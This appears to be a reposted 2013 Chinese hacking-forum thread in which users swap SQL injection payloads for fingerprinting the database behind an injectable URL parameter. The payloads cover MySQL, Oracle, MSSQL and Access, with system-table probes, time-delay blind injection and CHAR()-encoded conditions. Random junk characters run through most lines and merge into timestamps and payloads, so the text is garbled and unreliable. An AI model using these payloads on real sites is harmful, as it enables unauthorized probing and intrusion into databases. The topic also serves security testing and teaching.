找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2069|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
" P% R# }& x8 [xsser (十根阳具有长短!!) | 2013-02-05 12:36
1 a/ L5 ?3 r8 t假设这么一个注射点:
  g/ v" ?5 \/ z) `) Fshow.html?id=2
; N4 m$ y6 S/ _mysql:id=2 and version()>0
1 S; N9 p9 ^: yoracle:id=2 and '1'||'1'='11
5 N5 {. o4 F4 {$ A0 M其他的欢迎补充
+ @! i( q/ R) I2 F& h1#3 a0 M% p5 @$ G5 J; p4 F+ L
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
( x1 ?% L/ y7 bAccess:1 I; R# x; w( V* \, {
aNd aSc(cHr(97))=97( D7 \1 h! N; ?8 G7 F( l) E
and exists(select id from MSysAccessObjects)
* q' _( X1 r$ \$ t. I4 o# TSQL Server:& {; W( n# G+ J. }
and exists(select id from sysobjects)
4 V( Y7 `3 x6 pand length(user)>0
# {: \' U) c% B$ F7 q1 cMySQL:( e* M# R& T  s. w
and length(user())>0% `; J1 L  i( M
2#' ^- J7 H  Y# C* G* ?
xsser (十根阳具有长短!!) | 2013-02-05 12:48
4 d6 L+ q& M* ?7 @8 }$ f* x@upload 如果这些都不是呢…+ t5 W; W; I" q3 L$ t
3#9 P5 T( e. ^% r7 b7 [# A+ S; D, q0 ?
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03: m; }5 V0 O# n! c6 |  i
@xsser 不快速的,延时注入
4 t, ^+ V5 z+ l  x% o6 P不知道这样写对不对7 y3 F+ n% _( G
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
, h7 z( s$ G% k3 r4 Hmysql:id=2 and select benchmark(1e8,current_date());; P; N2 k, R+ L% t; g8 R
4#
5 B7 I4 H# u0 E* J9 q0 Q; rupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:105 X$ P" Y- n5 \5 O8 h, y2 k4 v+ c) c
最快的貌似是看报错信息2 P( h; b  h: B$ R  h- X! F) U
oracle error; f6 o' [8 N# Q$ s# M# `1 t
mssql error; g, q/ y  m! n9 r# m
mysql error
$ u) z9 v3 n- U% t7 v' ]5#
4 Z5 q: X, q5 J4 u+ }Nimda (你们都是坏银~) | 2013-02-05 13:147 U; C3 ^+ p% J; @/ L
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)6 G- P& ^# |; b. D" m# I
6#* I+ ]: n* Q- `& Z: v
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21% k  W6 l7 D1 ~: o1 X' t; R" b& V
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:4 a  }4 [/ |/ ?* a# @' [; R
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:1 G3 T% z" g7 D6 v! `7 \5 z
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。: c, c0 `, L0 f4 i8 `1 d2 \
7#  g4 V3 b! j* U" F3 f# s
_Evil (HackEnd) | 2013-02-05 13:33
- v, a3 w* f0 Z. g  {7 s5 `PostgreSQL
- s( q: Q5 ^& G1 P8#' s0 b: m- a4 t0 Y: l: A
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
  B! C. H7 n- `+ U切换编码 and 1=1: L' s1 B1 t* O! g+ P2 m
oracle:
2 E8 ~0 Z: m: p; u( x+ XCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
3 ?) o. N' U% `mssql:
+ B- @4 k( X: q9 O' }CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)! ~, e5 O# [" Y
mysql:
4 C* M/ m  q2 W/ MCHAR(97, 110, 100, 32, 49, 61, 49)
: C+ e0 N  |5 @# l. @* g5 A9#+ @0 `/ c; j9 A+ F" o, n9 s4 C
xsser (十根阳具有长短!!) | 2013-02-05 14:31% y6 _% I' ?$ ^- s. @
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?  B3 t) W' D! ]" F# n/ }1 \
10#
) j5 D8 Q9 C. V: P  _6 H' q1 s7 p' jupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46; f# C8 v/ h  |2 X9 S. D1 A8 I
@xsser 是奇葩数据库类型的么?
+ |+ O* b, W& i  B  {  p& O& w9 k根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
$ W- g9 B" k  T$ Y  M. V5 E1.是否可以使用特定的函数来判断,该数据库特有的, [9 U! \+ M1 T' U$ W
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等. q" O* u0 P& d5 O
3.是否可以编码查询- g8 T6 n1 j( Q* q& K
4.是否显可以利用错信息
: c! w9 M" t- [% p5.是否存在数据库某些特性辅助判断4 T6 R. \: N4 n$ Q0 f$ U( w
个人见解- S3 L$ X1 I0 m
11#
8 @9 Q4 G' t8 W) s) X小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
5 E9 P$ X6 L. F9 O  o% S0 @已收藏,mssql可以直接看到错误提示的吧~) ?& F# i4 O7 {0 U$ H5 |
12#
% N1 J, A/ Q0 a6 c6 B' p7 qPasser_by | 2013-02-05 15:09. `" m" O8 M. a( a: f6 J7 D
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
  H/ c- b" C1 e. K. X8 \, wfrom:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表